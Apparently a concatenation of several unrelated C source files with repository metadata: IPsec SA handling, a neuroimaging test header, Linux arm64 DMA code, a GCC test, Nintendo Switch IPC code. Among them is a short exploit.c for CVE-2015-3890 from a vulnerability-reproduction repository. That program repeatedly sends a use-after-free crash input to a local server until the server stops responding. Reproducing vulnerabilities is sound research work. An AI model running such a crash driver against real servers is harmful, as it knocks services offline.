proto && proto->no != GET_ISAKMP_PROP_NO(prop->p);
proto = TAILQ_NEXT(proto, link))
;
/*
* If we did not find a match, search through all proposals
* and xforms.
*/
if (!proto || sa_validate_proto_xf(proto, xf, sa->phase) != 0)
for (proto = TAILQ_FIRST(&sa->protos);
proto && sa_validate_proto_xf(proto, xf, sa->phase) != 0;
proto = TAILQ_NEXT(proto, link))
;
}
if (!proto)
return -1;
*protop = proto;
/* Allocate DOI-specific part. */
if (!initiator) {
proto->data = calloc(1, sa->doi->proto_size);
if (!proto->data) {
log_error("sa_add_transform: calloc (1, %lu) failed",
(unsigned long)sa->doi->proto_size);
goto cleanup;
}
}
proto->no = GET_ISAKMP_PROP_NO(prop->p);
proto->proto = GET_ISAKMP_PROP_PROTO(prop->p);
proto->spi_sz[0] = GET_ISAKMP_PROP_SPI_SZ(prop->p);
if (proto->spi_sz[0]) {
proto->spi[0] = malloc(proto->spi_sz[0]);
if (!proto->spi[0])
goto cleanup;
memcpy(proto->spi[0], prop->p + ISAKMP_PROP_SPI_OFF,
proto->spi_sz[0]);
}
proto->chosen = xf;
proto->sa = sa;
proto->id = GET_ISAKMP_TRANSFORM_ID(xf->p);
if (!initiator)
TAILQ_INSERT_TAIL(&sa->protos, proto, link);
/* Let the DOI get at proto for initializing its own data. */
if (sa->doi->proto_init)
sa->doi->proto_init(proto, 0);
LOG_DBG((LOG_SA, 80,
"sa_add_transform: "
"proto %p no %d proto %d chosen %p sa %p id %d",
proto, proto->no, proto->proto, proto->chosen, proto->sa,
proto->id));
return 0;
cleanup:
if (!initiator) {
free(proto->data);
free(proto);
}
*protop = 0;
return -1;
}
/* Delete an SA. Tell the peer if NOTIFY is set. */
void
sa_delete(struct sa *sa, int notify)
{
if (notify)
message_send_delete(sa);
sa_free(sa);
}
/* Teardown all SAs. */
void
sa_teardown_all(void)
{
int i;
struct sa *sa, *next = 0;
LOG_DBG((LOG_SA, 70, "sa_teardown_all:"));
/* Get Phase 2 SAs. */
for (i = 0; i <= bucket_mask; i++)
for (sa = LIST_FIRST(&sa_tab[i]); sa; sa = next) {
next = LIST_NEXT(sa, link);
if (sa->phase == 2) {
/*
* Teardown the phase 2 SAs by name, similar
* to ui_teardown.
*/
LOG_DBG((LOG_SA, 70,
"sa_teardown_all: tearing down SA %s",
sa->name ? sa->name : "<unnamed>"));
if (sa->name)
connection_teardown(sa->name);
sa_delete(sa, 1);
}
}
}
/*
* This function will get called when we are closing in on the death time of SA
*/
static void
sa_soft_expire(void *v_sa)
{
struct sa *sa = v_sa;
sa->soft_death = 0;
sa_release(sa);
if ((sa->flags & (SA_FLAG_STAYALIVE | SA_FLAG_REPLACED)) ==
SA_FLAG_STAYALIVE)
exchange_establish(sa->name, 0, 0, 1);
else
/*
* Start to watch the use of this SA, so a renegotiation can
* happen as soon as it is shown to be alive.
*/
sa->flags |= SA_FLAG_FADING;
}
/* SA has passed its best before date. */
static void
sa_hard_expire(void *v_sa)
{
struct sa *sa = v_sa;
sa->death = 0;
sa_release(sa);
if ((sa->flags & (SA_FLAG_STAYALIVE | SA_FLAG_REPLACED)) ==
SA_FLAG_STAYALIVE)
exchange_establish(sa->name, 0, 0, 1);
sa_delete(sa, 1);
}
void
sa_reinit(void)
{
struct sa *sa;
char *tag;
int i;
/* For now; only do this if we have the proper tag configured. */
tag = conf_get_str("General", "Renegotiate-on-HUP");
if (!tag)
return;
LOG_DBG((LOG_SA, 30, "sa_reinit: renegotiating active connections"));
/*
* Get phase 2 SAs. Soft expire those without active exchanges. Do
* not touch a phase 2 SA where the soft expiration is not set, ie.
* the SA is not yet established.
*/
for (i = 0; i <= bucket_mask; i++)
for (sa = LIST_FIRST(&sa_tab[i]); sa; sa = LIST_NEXT(sa, link))
if (sa->phase == 2)
if (exchange_lookup_by_name(sa->name,
sa->phase) == 0 && sa->soft_death) {
timer_remove_event(sa->soft_death);
sa_soft_expire(sa);
}
}
/*
* Get an SA attribute's flag value out of textual description.
*/
int
sa_flag(char *attr)
{
static struct sa_flag_map {
char *name;
int flag;
} sa_flag_map[] = {
{
"active-only", SA_FLAG_ACTIVE_ONLY
},
/*
* Below this point are flags that are internal to the
* implementation.
*/
{
"__ondemand", SA_FLAG_ONDEMAND
},
{
"ikecfg", SA_FLAG_IKECFG
},
};
size_t i;
for (i = 0; i < sizeof sa_flag_map / sizeof sa_flag_map[0]; i++)
if (strcasecmp(attr, sa_flag_map[i].name) == 0)
return sa_flag_map[i].flag;
log_print("sa_flag: attribute \"%s\" unknown", attr);
return 0;
}
/* Mark SA as replaced. */
void
sa_mark_replaced(struct sa *sa)
{
LOG_DBG((LOG_SA, 60, "sa_mark_replaced: SA %p (%s) marked as replaced",
sa, sa->name ? sa->name : "unnamed"));
if (sa->dpd_event) {
timer_remove_event(sa->dpd_event);
sa->dpd_event = 0;
}
sa->flags |= SA_FLAG_REPLACED;
}
/* Replace SA */
void
sa_replace(struct sa *sa, struct sa *new_sa)
{
LOG_DBG((LOG_SA, 60, "sa_replace: SA %p (%s) is replaced by SA %p (%s)",
sa, sa->name ? sa->name : "unnamed",
new_sa, new_sa->name ? new_sa->name : "unnamed"));
sa_mark_replaced(sa);
if (new_sa->flags & SA_FLAG_REPLACED) {
/* enable the dpd */
if ((new_sa->flags & SA_FLAG_DPD) == SA_FLAG_DPD)
dpd_start(new_sa);
new_sa->flags &= ~SA_FLAG_REPLACED;
}
}
/*
* Setup expiration timers for SA. This is used for ISAKMP SAs, but also
* possible to use for application SAs if the application does not deal
* with expirations itself. An example is the Linux FreeS/WAN KLIPS IPsec
* stack.
*/
int
sa_setup_expirations(struct sa *sa)
{
struct timespec expiration;
u_int64_t seconds = sa->seconds;
/*
* Set the soft timeout to a random percentage between 85 & 95 of
* the negotiated lifetime to break strictly synchronized
* renegotiations. This works better when the randomization is on the
* order of processing plus network-roundtrip times, or larger.
* I.e. it depends on configuration and negotiated lifetimes.
* It is not good to do the decrease on the hard timeout, because then
* we may drop our SA before our peer.
* XXX Better scheme to come?
*/
if (!sa->soft_death) {
clock_gettime(CLOCK_MONOTONIC, &expiration);
/*
* XXX This should probably be configuration controlled
* somehow.
*/
seconds = sa->seconds * (850 + arc4random_uniform(100)) / 1000;
LOG_DBG((LOG_TIMER, 95,
"sa_setup_expirations: SA %p soft timeout in %llu seconds",
sa, seconds));
expiration.tv_sec += seconds;
sa->soft_death = timer_add_event("sa_soft_expire",
sa_soft_expire, sa, &expiration);
if (!sa->soft_death) {
/* If we don't give up we might start leaking... */
sa_delete(sa, 1);
return -1;
}
sa_reference(sa);
}
if (!sa->death) {
clock_gettime(CLOCK_MONOTONIC, &expiration);
LOG_DBG((LOG_TIMER, 95,
"sa_setup_expirations: SA %p hard timeout in %llu seconds",
sa, sa->seconds));
expiration.tv_sec += sa->seconds;
sa->death = timer_add_event("sa_hard_expire", sa_hard_expire,
sa, &expiration);
if (!sa->death) {
/* If we don't give up we might start leaking... */
sa_delete(sa, 1);
return -1;
}
sa_reference(sa);
}
return 0;
}
|
f3dd34dc1100c74dc7170195f982759937250d2e
|
ca6b7bd6516e5098310cd803168007249f3b469d
|
/src/testframes/test_fiff_mne_types_io/fiff_types_ref.h
|
3007be8ebbc2341e079ad524c3bb1a9062f0e74e
|
[
"BSD-3-Clause"
] |
permissive
|
mne-tools/mne-cpp
|
125e90d2373cb30ae8207fb3e2317511356a4705
|
3b3c722936981e4ecc3310c3b38f60b1737c69ec
|
refs/heads/main
| 2023-08-16T16:41:05.569008
| 2023-08-09T15:28:39
| 2023-08-09T17:52:56
| 5,600,932
| 145
| 150
|
BSD-3-Clause
| 2023-08-09T17:52:57
| 2012-08-29T13:33:22
|
C++
|
UTF-8
|
C
| false
| false
| 3,785
|
h
|
fiff_types_ref.h
|
//=============================================================================================================
/**
* @file fiff_types_ref.h
* @author Christoph Dinh <chdinh@nmr.mgh.harvard.edu>
* @since 0.1.0
* @date December, 2015
*
* @section LICENSE
*
* Copyright (C) 2015, Christoph Dinh. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that
* the following conditions are met:
* * Redistributions of source code must retain the above copyright notice, this list of conditions and the
* following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and
* the following disclaimer in the documentation and/or other materials provided with the distribution.
* * Neither the name of MNE-CPP authors nor the names of its contributors may be used
* to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
*
* @brief Old fiff types MNE-C references for testing
*
*/
#ifndef FIFFTYPESREF_H
#define FIFFTYPESREF_H
//=============================================================================================================
// INCLUDES
//=============================================================================================================
//=============================================================================================================
// QT INCLUDES
//=============================================================================================================
#include <qglobal.h>
//=============================================================================================================
// TYPEDEFS Primitive building blocks:
//=============================================================================================================
typedef qint32 fiff_int_t_REF;
typedef float fiff_float_t_REF;
//=============================================================================================================
// REFERENCES
//=============================================================================================================
/** Coordinate transformation descriptor */
typedef struct _fiffCoordTransRec_REF {
fiff_int_t_REF from; /**< Source coordinate system. */
fiff_int_t_REF to; /**< Destination coordinate system. */
fiff_float_t_REF rot[3][3]; /**< The forward transform (rotation part) */
fiff_float_t_REF move[3]; /**< The forward transform (translation part) */
fiff_float_t_REF invrot[3][3]; /**< The inverse transform (rotation part) */
fiff_float_t_REF invmove[3]; /**< The inverse transform (translation part) */
} *fiffCoordTrans_REF, fiffCoordTransRec_REF; /**< Coordinate transformation descriptor */
#endif // FIFFTYPESREF_H
|
c50da4fd8e0c56170ffde38281d65d526d61c6fc
|
a2b23c5868bb23f7230dfb5a8b62384a67b7e7e3
|
/CVE-2015-3890/exploit.c
|
bc5e9946f5394a17fc1cf2e5be288d4c7c2bf676
|
[] |
no_license
|
VulnReproduction/LinuxFlaw
|
439c87153678435b641e8b9851e51fe14bfce4cb
|
93743f951c264dd49e52b1449dff3cda73a09af7
|
refs/heads/master
| 2022-01-25T10:04:31.170004
| 2022-01-12T05:40:43
| 2022-01-12T05:40:43
| 134,284,262
| 376
| 49
| null | 2019-01-02T07:10:01
| 2018-05-21T14:59:25
|
C
|
UTF-8
|
C
| false
| false
| 1,307
|
c
|
exploit.c
|
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
extern int errno;
int main(int argc, char ** argv){
FILE * fp;
size_t len = 0;
char * line;
if((fp = fopen("uafcrash", "r")) == NULL){
fprintf(stderr, "[!] Error: Could not open file uafcrash: %s", strerror(errno));
return 1;
}
char * host = "127.0.0.1";
int port = 8088;
int count = 0;
int sock;
struct sockaddr_in serv_addr;
while(1){
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
fprintf(stderr, "[!] Error: Could not create socket \n");
return 1;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
inet_pton(AF_INET, host, &serv_addr.sin_addr);
if(connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0){
fprintf(stderr, "[!] Error: Could not connect! Check for server crash! Total cases sent:%d\n", count);
close(sock);
return 1;
}
while ((getline(&line, &len, fp)) >= 1){
printf("one line %s\n", line);
write(sock, line, strlen(line));
}
close(sock);
rewind(fp);
count++;
}
return 42;
}
|
146bd345a1dfdb1cbb188b3c61e77f46d80167b8
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/arch/arm64/mm/dma-mapping.c
|
d9209420391381d41aa97665c3ce1dd08456c466
|
[
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later",
"LicenseRef-scancode-free-unknown",
"Apache-2.0"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 12,318
|
c
|
dma-mapping.c
|
/*
* SWIOTLB-based DMA API implementation
*
* Copyright (C) 2012 ARM Ltd.
* Author: Catalin Marinas <catalin.marinas@arm.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <linux/gfp.h>
#include <linux/export.h>
#include <linux/slab.h>
#include <linux/genalloc.h>
#include <linux/dma-mapping.h>
#include <linux/dma-contiguous.h>
#include <linux/vmalloc.h>
#include <linux/swiotlb.h>
#include <asm/cacheflush.h>
struct dma_map_ops *dma_ops;
EXPORT_SYMBOL(dma_ops);
static pgprot_t __get_dma_pgprot(struct dma_attrs *attrs, pgprot_t prot,
bool coherent)
{
if (!coherent || dma_get_attr(DMA_ATTR_WRITE_COMBINE, attrs))
return pgprot_writecombine(prot);
return prot;
}
static struct gen_pool *atomic_pool;
#define DEFAULT_DMA_COHERENT_POOL_SIZE SZ_256K
static size_t atomic_pool_size = DEFAULT_DMA_COHERENT_POOL_SIZE;
static int __init early_coherent_pool(char *p)
{
atomic_pool_size = memparse(p, &p);
return 0;
}
early_param("coherent_pool", early_coherent_pool);
static void *__alloc_from_pool(size_t size, struct page **ret_page)
{
unsigned long val;
void *ptr = NULL;
if (!atomic_pool) {
WARN(1, "coherent pool not initialised!\n");
return NULL;
}
val = gen_pool_alloc(atomic_pool, size);
if (val) {
phys_addr_t phys = gen_pool_virt_to_phys(atomic_pool, val);
*ret_page = phys_to_page(phys);
ptr = (void *)val;
}
return ptr;
}
static bool __in_atomic_pool(void *start, size_t size)
{
return addr_in_gen_pool(atomic_pool, (unsigned long)start, size);
}
static int __free_from_pool(void *start, size_t size)
{
if (!__in_atomic_pool(start, size))
return 0;
gen_pool_free(atomic_pool, (unsigned long)start, size);
return 1;
}
static void *__dma_alloc_coherent(struct device *dev, size_t size,
dma_addr_t *dma_handle, gfp_t flags,
struct dma_attrs *attrs)
{
if (dev == NULL) {
WARN_ONCE(1, "Use an actual device structure for DMA allocation\n");
return NULL;
}
if (IS_ENABLED(CONFIG_ZONE_DMA) &&
dev->coherent_dma_mask <= DMA_BIT_MASK(32))
flags |= GFP_DMA;
if (IS_ENABLED(CONFIG_DMA_CMA) && (flags & __GFP_WAIT)) {
struct page *page;
size = PAGE_ALIGN(size);
page = dma_alloc_from_contiguous(dev, size >> PAGE_SHIFT,
get_order(size));
if (!page)
return NULL;
*dma_handle = phys_to_dma(dev, page_to_phys(page));
return page_address(page);
} else {
return swiotlb_alloc_coherent(dev, size, dma_handle, flags);
}
}
static void __dma_free_coherent(struct device *dev, size_t size,
void *vaddr, dma_addr_t dma_handle,
struct dma_attrs *attrs)
{
bool freed;
phys_addr_t paddr = dma_to_phys(dev, dma_handle);
if (dev == NULL) {
WARN_ONCE(1, "Use an actual device structure for DMA allocation\n");
return;
}
freed = dma_release_from_contiguous(dev,
phys_to_page(paddr),
size >> PAGE_SHIFT);
if (!freed)
swiotlb_free_coherent(dev, size, vaddr, dma_handle);
}
static void *__dma_alloc_noncoherent(struct device *dev, size_t size,
dma_addr_t *dma_handle, gfp_t flags,
struct dma_attrs *attrs)
{
struct page *page;
void *ptr, *coherent_ptr;
size = PAGE_ALIGN(size);
if (!(flags & __GFP_WAIT)) {
struct page *page = NULL;
void *addr = __alloc_from_pool(size, &page);
if (addr)
*dma_handle = phys_to_dma(dev, page_to_phys(page));
return addr;
}
ptr = __dma_alloc_coherent(dev, size, dma_handle, flags, attrs);
if (!ptr)
goto no_mem;
/* remove any dirty cache lines on the kernel alias */
__dma_flush_range(ptr, ptr + size);
/* create a coherent mapping */
page = virt_to_page(ptr);
coherent_ptr = dma_common_contiguous_remap(page, size, VM_USERMAP,
__get_dma_pgprot(attrs,
__pgprot(PROT_NORMAL_NC), false),
NULL);
if (!coherent_ptr)
goto no_map;
return coherent_ptr;
no_map:
__dma_free_coherent(dev, size, ptr, *dma_handle, attrs);
no_mem:
*dma_handle = DMA_ERROR_CODE;
return NULL;
}
static void __dma_free_noncoherent(struct device *dev, size_t size,
void *vaddr, dma_addr_t dma_handle,
struct dma_attrs *attrs)
{
void *swiotlb_addr = phys_to_virt(dma_to_phys(dev, dma_handle));
if (__free_from_pool(vaddr, size))
return;
vunmap(vaddr);
__dma_free_coherent(dev, size, swiotlb_addr, dma_handle, attrs);
}
static dma_addr_t __swiotlb_map_page(struct device *dev, struct page *page,
unsigned long offset, size_t size,
enum dma_data_direction dir,
struct dma_attrs *attrs)
{
dma_addr_t dev_addr;
dev_addr = swiotlb_map_page(dev, page, offset, size, dir, attrs);
__dma_map_area(phys_to_virt(dma_to_phys(dev, dev_addr)), size, dir);
return dev_addr;
}
static void __swiotlb_unmap_page(struct device *dev, dma_addr_t dev_addr,
size_t size, enum dma_data_direction dir,
struct dma_attrs *attrs)
{
__dma_unmap_area(phys_to_virt(dma_to_phys(dev, dev_addr)), size, dir);
swiotlb_unmap_page(dev, dev_addr, size, dir, attrs);
}
static int __swiotlb_map_sg_attrs(struct device *dev, struct scatterlist *sgl,
int nelems, enum dma_data_direction dir,
struct dma_attrs *attrs)
{
struct scatterlist *sg;
int i, ret;
ret = swiotlb_map_sg_attrs(dev, sgl, nelems, dir, attrs);
for_each_sg(sgl, sg, ret, i)
__dma_map_area(phys_to_virt(dma_to_phys(dev, sg->dma_address)),
sg->length, dir);
return ret;
}
static void __swiotlb_unmap_sg_attrs(struct device *dev,
struct scatterlist *sgl, int nelems,
enum dma_data_direction dir,
struct dma_attrs *attrs)
{
struct scatterlist *sg;
int i;
for_each_sg(sgl, sg, nelems, i)
__dma_unmap_area(phys_to_virt(dma_to_phys(dev, sg->dma_address)),
sg->length, dir);
swiotlb_unmap_sg_attrs(dev, sgl, nelems, dir, attrs);
}
static void __swiotlb_sync_single_for_cpu(struct device *dev,
dma_addr_t dev_addr, size_t size,
enum dma_data_direction dir)
{
__dma_unmap_area(phys_to_virt(dma_to_phys(dev, dev_addr)), size, dir);
swiotlb_sync_single_for_cpu(dev, dev_addr, size, dir);
}
static void __swiotlb_sync_single_for_device(struct device *dev,
dma_addr_t dev_addr, size_t size,
enum dma_data_direction dir)
{
swiotlb_sync_single_for_device(dev, dev_addr, size, dir);
__dma_map_area(phys_to_virt(dma_to_phys(dev, dev_addr)), size, dir);
}
static void __swiotlb_sync_sg_for_cpu(struct device *dev,
struct scatterlist *sgl, int nelems,
enum dma_data_direction dir)
{
struct scatterlist *sg;
int i;
for_each_sg(sgl, sg, nelems, i)
__dma_unmap_area(phys_to_virt(dma_to_phys(dev, sg->dma_address)),
sg->length, dir);
swiotlb_sync_sg_for_cpu(dev, sgl, nelems, dir);
}
static void __swiotlb_sync_sg_for_device(struct device *dev,
struct scatterlist *sgl, int nelems,
enum dma_data_direction dir)
{
struct scatterlist *sg;
int i;
swiotlb_sync_sg_for_device(dev, sgl, nelems, dir);
for_each_sg(sgl, sg, nelems, i)
__dma_map_area(phys_to_virt(dma_to_phys(dev, sg->dma_address)),
sg->length, dir);
}
/* vma->vm_page_prot must be set appropriately before calling this function */
static int __dma_common_mmap(struct device *dev, struct vm_area_struct *vma,
void *cpu_addr, dma_addr_t dma_addr, size_t size)
{
int ret = -ENXIO;
unsigned long nr_vma_pages = (vma->vm_end - vma->vm_start) >>
PAGE_SHIFT;
unsigned long nr_pages = PAGE_ALIGN(size) >> PAGE_SHIFT;
unsigned long pfn = dma_to_phys(dev, dma_addr) >> PAGE_SHIFT;
unsigned long off = vma->vm_pgoff;
if (dma_mmap_from_coherent(dev, vma, cpu_addr, size, &ret))
return ret;
if (off < nr_pages && nr_vma_pages <= (nr_pages - off)) {
ret = remap_pfn_range(vma, vma->vm_start,
pfn + off,
vma->vm_end - vma->vm_start,
vma->vm_page_prot);
}
return ret;
}
static int __swiotlb_mmap_noncoherent(struct device *dev,
struct vm_area_struct *vma,
void *cpu_addr, dma_addr_t dma_addr, size_t size,
struct dma_attrs *attrs)
{
vma->vm_page_prot = __get_dma_pgprot(attrs, vma->vm_page_prot, false);
return __dma_common_mmap(dev, vma, cpu_addr, dma_addr, size);
}
static int __swiotlb_mmap_coherent(struct device *dev,
struct vm_area_struct *vma,
void *cpu_addr, dma_addr_t dma_addr, size_t size,
struct dma_attrs *attrs)
{
/* Just use whatever page_prot attributes were specified */
return __dma_common_mmap(dev, vma, cpu_addr, dma_addr, size);
}
struct dma_map_ops noncoherent_swiotlb_dma_ops = {
.alloc = __dma_alloc_noncoherent,
.free = __dma_free_noncoherent,
.mmap = __swiotlb_mmap_noncoherent,
.map_page = __swiotlb_map_page,
.unmap_page = __swiotlb_unmap_page,
.map_sg = __swiotlb_map_sg_attrs,
.unmap_sg = __swiotlb_unmap_sg_attrs,
.sync_single_for_cpu = __swiotlb_sync_single_for_cpu,
.sync_single_for_device = __swiotlb_sync_single_for_device,
.sync_sg_for_cpu = __swiotlb_sync_sg_for_cpu,
.sync_sg_for_device = __swiotlb_sync_sg_for_device,
.dma_supported = swiotlb_dma_supported,
.mapping_error = swiotlb_dma_mapping_error,
};
EXPORT_SYMBOL(noncoherent_swiotlb_dma_ops);
struct dma_map_ops coherent_swiotlb_dma_ops = {
.alloc = __dma_alloc_coherent,
.free = __dma_free_coherent,
.mmap = __swiotlb_mmap_coherent,
.map_page = swiotlb_map_page,
.unmap_page = swiotlb_unmap_page,
.map_sg = swiotlb_map_sg_attrs,
.unmap_sg = swiotlb_unmap_sg_attrs,
.sync_single_for_cpu = swiotlb_sync_single_for_cpu,
.sync_single_for_device = swiotlb_sync_single_for_device,
.sync_sg_for_cpu = swiotlb_sync_sg_for_cpu,
.sync_sg_for_device = swiotlb_sync_sg_for_device,
.dma_supported = swiotlb_dma_supported,
.mapping_error = swiotlb_dma_mapping_error,
};
EXPORT_SYMBOL(coherent_swiotlb_dma_ops);
extern int swiotlb_late_init_with_default_size(size_t default_size);
static int __init atomic_pool_init(void)
{
pgprot_t prot = __pgprot(PROT_NORMAL_NC);
unsigned long nr_pages = atomic_pool_size >> PAGE_SHIFT;
struct page *page;
void *addr;
unsigned int pool_size_order = get_order(atomic_pool_size);
if (dev_get_cma_area(NULL))
page = dma_alloc_from_contiguous(NULL, nr_pages,
pool_size_order);
else
page = alloc_pages(GFP_DMA, pool_size_order);
if (page) {
int ret;
void *page_addr = page_address(page);
memset(page_addr, 0, atomic_pool_size);
__dma_flush_range(page_addr, page_addr + atomic_pool_size);
atomic_pool = gen_pool_create(PAGE_SHIFT, -1);
if (!atomic_pool)
goto free_page;
addr = dma_common_contiguous_remap(page, atomic_pool_size,
VM_USERMAP, prot, atomic_pool_init);
if (!addr)
goto destroy_genpool;
ret = gen_pool_add_virt(atomic_pool, (unsigned long)addr,
page_to_phys(page),
atomic_pool_size, -1);
if (ret)
goto remove_mapping;
gen_pool_set_algo(atomic_pool,
gen_pool_first_fit_order_align,
(void *)PAGE_SHIFT);
pr_info("DMA: preallocated %zu KiB pool for atomic allocations\n",
atomic_pool_size / 1024);
return 0;
}
goto out;
remove_mapping:
dma_common_free_remap(addr, atomic_pool_size, VM_USERMAP);
destroy_genpool:
gen_pool_destroy(atomic_pool);
atomic_pool = NULL;
free_page:
if (!dma_release_from_contiguous(NULL, page, nr_pages))
__free_pages(page, pool_size_order);
out:
pr_err("DMA: failed to allocate %zu KiB pool for atomic coherent allocation\n",
atomic_pool_size / 1024);
return -ENOMEM;
}
static int __init swiotlb_late_init(void)
{
size_t swiotlb_size = min(SZ_64M, MAX_ORDER_NR_PAGES << PAGE_SHIFT);
dma_ops = &noncoherent_swiotlb_dma_ops;
return swiotlb_late_init_with_default_size(swiotlb_size);
}
static int __init arm64_dma_init(void)
{
int ret = 0;
ret |= swiotlb_late_init();
ret |= atomic_pool_init();
return ret;
}
arch_initcall(arm64_dma_init);
#define PREALLOC_DMA_DEBUG_ENTRIES 4096
static int __init dma_debug_do_init(void)
{
dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
return 0;
}
fs_initcall(dma_debug_do_init);
|
9782a725b0a703e9f36751a0a5e5e61911fd8dea
|
3a30cfb29aac91e5c75d4dbcefddfd1f34d5f18c
|
/c-tests/gcc/990524-1.c
|
57d119e7f1a7c9eceb20edf1b2fa10a3db9e3f2e
|
[
"GPL-3.0-only",
"GPL-2.0-only",
"MIT",
"MPL-1.0",
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0",
"LGPL-2.0-only"
] |
permissive
|
vnmakarov/mir
|
a1725bc9c828e8580df6b7ae94e04175db8abe93
|
928e28fb3acaa50d051a906e76a55cc48a556574
|
refs/heads/master
| 2023-09-02T11:10:37.434581
| 2023-08-25T19:25:40
| 2023-08-25T19:25:40
| 178,932,492
| 2,005
| 156
|
MIT
| 2023-08-01T20:29:59
| 2019-04-01T19:24:56
|
C
|
UTF-8
|
C
| false
| false
| 379
|
c
|
990524-1.c
|
extern void exit (int);
char a[] = "12345";
char b[] = "12345";
void loop (char * pz, char * pzDta)
{
for (;;) {
switch (*(pz++) = *(pzDta++)) {
case 0:
goto loopDone2;
case '"':
case '\\':
pz[-1] = '\\';
*(pz++) = pzDta[-1];
}
} loopDone2:;
if (a - pz != b - pzDta)
abort ();
}
main()
{
loop (a, b);
exit (0);
}
|
de61b3c3d437c7fdc20f90c70b4b403d3149ac57
|
8d40cd691d47d5be1fea509dd550f4b71392bcda
|
/saltysd_proc/source/spawner_ipc.c
|
1f4646c390c25745b9c82d3109458736a02e1c22
|
[] |
no_license
|
masagrator/SaltyNX
|
01ffb80ba0e4c5674c8c6098d2d988c9c8c2ef0d
|
f334825f6a3cfc7e327ea161353f4604ed904f3e
|
refs/heads/master
| 2023-07-08T13:28:06.472202
| 2023-07-02T07:01:20
| 2023-07-02T07:01:20
| 198,485,782
| 210
| 15
| null | 2023-07-02T07:01:21
| 2019-07-23T18:19:36
|
C
|
UTF-8
|
C
| false
| false
| 1,508
|
c
|
spawner_ipc.c
|
#include "spawner_ipc.h"
#include "useful.h"
Result get_handle(Handle port, Handle *retrieve, char* name)
{
Result ret = 0;
// Send a command
IpcCommand c;
ipcInitialize(&c);
ipcSendPid(&c);
struct {
u64 magic;
u64 cmd_id;
char name[13];
u32 reserved;
} *raw;
raw = ipcPrepareHeader(&c, sizeof(*raw));
raw->magic = SFCI_MAGIC;
raw->cmd_id = 1;
strncpy(raw->name, name, 12);
debug_log("SaltySD: sending IPC request for handle %s\n", name);
ret = ipcDispatch(port);
if (R_SUCCEEDED(ret)) {
IpcParsedCommand r;
ipcParse(&r);
struct {
u64 magic;
u64 result;
u64 reserved[2];
} *resp = r.Raw;
ret = resp->result;
//debug_log("SaltySD: Got reply %x\n", resp->result);
if (!ret)
{
debug_log("SaltySD: bind handle %x to %s\n", r.Handles[0], name);
smAddOverrideHandle(smEncodeName(name), r.Handles[0]);
*retrieve = r.Handles[0];
}
}
else
{
//debug_log("SaltySD: IPC dispatch failed, %x\n", ret);
}
return ret;
}
void terminate_spawner(Handle port)
{
Result ret;
// Send a command
IpcCommand c;
ipcInitialize(&c);
ipcSendPid(&c);
struct {
u64 magic;
u64 cmd_id;
u64 reserved[2];
} *raw;
raw = ipcPrepareHeader(&c, sizeof(*raw));
raw->magic = SFCI_MAGIC;
raw->cmd_id = 2;
debug_log("SaltySD: terminating spawner\n");
ret = ipcDispatch(port);
if (R_SUCCEEDED(ret)) {
IpcParsedCommand r;
ipcParse(&r);
struct {
u64 magic;
u64 result;
u64 reserved[2];
} *resp = r.Raw;
ret = resp->result;
}
}
|
643c5628df3c06d0d071954e85d9bb5df682f26e
|
99bdb3251fecee538e0630f15f6574054dfc1468
|
/components/net/lwip/lwip-1.4.1/src/netif/ppp/ppp_impl.h
|
89aea60be1be02dfdf505bdc0110510e01bff8e8
|
[
"Apache-2.0",
"BSD-3-Clause"
] |
permissive
|
RT-Thread/rt-thread
|
03a7c52c2aeb1b06a544143b0e803d72f47d1ece
|
3602f891211904a27dcbd51e5ba72fefce7326b2
|
refs/heads/master
| 2023-09-01T04:10:20.295801
| 2023-08-31T16:20:55
| 2023-08-31T16:20:55
| 7,408,108
| 9,599
| 5,805
|
Apache-2.0
| 2023-09-14T13:37:26
| 2013-01-02T14:49:21
|
C
|
UTF-8
|
C
| false
| false
| 12,765
|
h
|
ppp_impl.h
|
/*****************************************************************************
* ppp.h - Network Point to Point Protocol header file.
*
